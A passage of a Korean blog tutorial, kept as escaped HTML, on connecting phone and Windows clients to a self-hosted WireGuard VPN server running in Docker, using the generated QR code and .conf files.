  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- Client 연결용 키 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 끝나면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 접속할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용할 키&lt;/b&gt;들이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;conf 폴더에 자동으로 생성&lt;/b&gt;됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(저는 윈도우에서 docker를 사용 중이기 때문에...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Bind한 로컬 디렉토리가 윈도우 폴더입니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yRj4h/btrrqNfPgq5/W0jlnyw5FOd5m385L6kYr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yRj4h/btrrqNfPgq5/W0jlnyw5FOd5m385L6kYr1/img.png&quot; data-alt=&quot;로컬 디렉토리에 생성된 사용자 키 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yRj4h/btrrqNfPgq5/W0jlnyw5FOd5m385L6kYr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyRj4h%2FbtrrqNfPgq5%2FW0jlnyw5FOd5m385L6kYr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;354&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;414&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;로컬 디렉토리에 생성된 사용자 키 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용할 키 폴더를 들어가면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폴더 안에 접속을 위한 파일들이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(사용자 conf, QRcode, 키 파일)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;205&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKoEI1/btrrmgcYWoP/HzpBt0k2jeR3dltbQztVl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKoEI1/btrrmgcYWoP/HzpBt0k2jeR3dltbQztVl1/img.png&quot; data-alt=&quot;사용자 연결용 파일들&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKoEI1/btrrmgcYWoP/HzpBt0k2jeR3dltbQztVl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKoEI1%2FbtrrmgcYWoP%2FHzpBt0k2jeR3dltbQztVl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;567&quot; height=&quot;205&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;205&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사용자 연결용 파일들&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 사용&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Wireguard는 자체적으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모바일 앱이랑 PC 클라이언트를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 모바일 접속&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Play 스토어나 앱 스토어에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WireGuard 앱을 다운 받습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1956&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsQsXo/btrroWrlK5P/QlRorvXZuJlJIaSL8shBdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsQsXo/btrroWrlK5P/QlRorvXZuJlJIaSL8shBdk/img.png&quot; data-alt=&quot;나는 안드로이드 유저라 Play 스토어 :)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsQsXo/btrroWrlK5P/QlRorvXZuJlJIaSL8shBdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsQsXo%2FbtrroWrlK5P%2FQlRorvXZuJlJIaSL8shBdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;1223&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1956&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;나는 안드로이드 유저라 Play 스토어 :)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우측 하단에&amp;nbsp;(+) 버튼을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클릭하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN을 추가할 방법들이 나옵니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1956&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A7swx/btrrsmCiwsR/cW6qnjKvheXF1G5pBXzurK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A7swx/btrrsmCiwsR/cW6qnjKvheXF1G5pBXzurK/img.png&quot; data-alt=&quot;우측 하단 더하기 버튼 터치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A7swx/btrrsmCiwsR/cW6qnjKvheXF1G5pBXzurK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA7swx%2FbtrrsmCiwsR%2FcW6qnjKvheXF1G5pBXzurK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;1223&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1956&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;우측 하단 더하기 버튼 터치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 서버를 추가할&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3가지 방법이 있지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 편하게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QR코드로 추가했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1956&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mGyum/btrrponzowo/6xQo8I92zdRkdOViLGFcpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mGyum/btrrponzowo/6xQo8I92zdRkdOViLGFcpk/img.png&quot; data-alt=&quot;QR코드 스캔&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mGyum/btrrponzowo/6xQo8I92zdRkdOViLGFcpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmGyum%2Fbtrrponzowo%2F6xQo8I92zdRkdOViLGFcpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;1223&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1956&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;QR코드 스캔&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 WireGuard 서버에 생성된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QRcode를 찍고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 이름 아무렇게나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적어주면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;1223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/toam3/btrrqm3RQDR/ZscLe7H9vptXlWqkJPNKw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/toam3/btrrqm3RQDR/ZscLe7H9vptXlWqkJPNKw1/img.png&quot; data-alt=&quot;QRcode 찍고 이름 입력하고 만들기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/toam3/btrrqm3RQDR/ZscLe7H9vptXlWqkJPNKw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftoam3%2Fbtrrqm3RQDR%2FZscLe7H9vptXlWqkJPNKw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;1223&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;1223&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;QRcode 찍고 이름 입력하고 만들기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 폰에 VPN이 생성됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 VPN 터치만 해도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알아서 연결됩니다. :)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1956&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk1IMO/btrrn3EJypo/f0HnfketnslBLeAKw2ofk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk1IMO/btrrn3EJypo/f0HnfketnslBLeAKw2ofk1/img.png&quot; data-alt=&quot;VPN 연결&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk1IMO/btrrn3EJypo/f0HnfketnslBLeAKw2ofk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk1IMO%2Fbtrrn3EJypo%2Ff0HnfketnslBLeAKw2ofk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;1223&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;1956&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;VPN 연결&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 컴퓨터 접속&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC 또한 WireGuard의 프로그램으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN에 연결할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows 용 프로그램은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 홈페이지에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;받을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.wireguard.com/install/#windows-7-81-10-11-2008r2-2012r2-2016-2019-2022&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;WireGuard 윈도우 프로그램 다운로드&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1642839775897&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Installation - WireGuard&quot; data-og-description=&quot;Installation Windows [7, 8.1, 10, 11, 2008R2, 2012R2, 2016, 2019, 2022] Download Windows Installer Browse MSIs Download from App Store $ sudo apt install wireguard Download from Play Store Download from F-Droid Download from App Store Users with Debian rel&quot; data-og-host=&quot;www.wireguard.com&quot; data-og-source-url=&quot;https://www.wireguard.com/install/#windows-7-81-10-11-2008r2-2012r2-2016-2019-2022&quot; data-og-url=&quot;https://www.wireguard.com/install/#windows-7-81-10-11-2008r2-2012r2-2016-2019-2022&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.wireguard.com/install/#windows-7-81-10-11-2008r2-2012r2-2016-2019-2022&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.wireguard.com/install/#windows-7-81-10-11-2008r2-2012r2-2016-2019-2022&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Installation - WireGuard&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Installation Windows [7, 8.1, 10, 11, 2008R2, 2012R2, 2016, 2019, 2022] Download Windows Installer Browse MSIs Download from App Store $ sudo apt install wireguard Download from Play Store Download from F-Droid Download from App Store Users with Debian rel&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.wireguard.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1247&quot; data-origin-height=&quot;905&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sTEKs/btrroW50KxW/fgedvHVSnCTjhRSIKMPNVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sTEKs/btrroW50KxW/fgedvHVSnCTjhRSIKMPNVK/img.png&quot; data-alt=&quot;Windows 용 WireGuard 프로그램&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sTEKs/btrroW50KxW/fgedvHVSnCTjhRSIKMPNVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsTEKs%2FbtrroW50KxW%2FfgedvHVSnCTjhRSIKMPNVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;363&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1247&quot; data-origin-height=&quot;905&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Windows 용 WireGuard 프로그램&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WireGuard 프로그램을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치한 후 실행하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Import tunnel(s) from file&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버튼이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 버튼을 클릭한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 서버에 생성된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;클라이언트용 폴더(peer)의&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;.conf 파일을&amp;nbsp;선택&lt;/b&gt;하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN이 추가됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;705&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbHGVS/btrrpUT6jsY/NVjagLD0PtSXweJDL4d9O1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbHGVS/btrrpUT6jsY/NVjagLD0PtSXweJDL4d9O1/img.png&quot; data-alt=&quot;VPN 추가 중&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbHGVS/btrrpUT6jsY/NVjagLD0PtSXweJDL4d9O1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbHGVS%2FbtrrpUT6jsY%2FNVjagLD0PtSXweJDL4d9O1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;426&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;705&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;VPN 추가 중&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 추가가 완료되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Activate 버튼을 클릭하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN에 접속하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;657&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEk2l2/btrrn3dFpKs/D4rKfChMk95uDb2To9D5r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEk2l2/btrrn3dFpKs/D4rKfChMk95uDb2To9D5r1/img.png&quot; data-alt=&quot;VPN 설정 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEk2l2/btrrn3dFpKs/D4rKfChMk95uDb2To9D5r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEk2l2%2Fbtrrn3dFpKs%2FD4rKfChMk95uDb2To9D5r1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;397&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;657&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;VPN 설정 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 끝! 그리고 후기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenVPN은 이것저것 해줄게 많은데...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WireGuard는 확실히 편한거 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- VPN 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확실히 IP가 바뀐다.&lt;/p&gt;
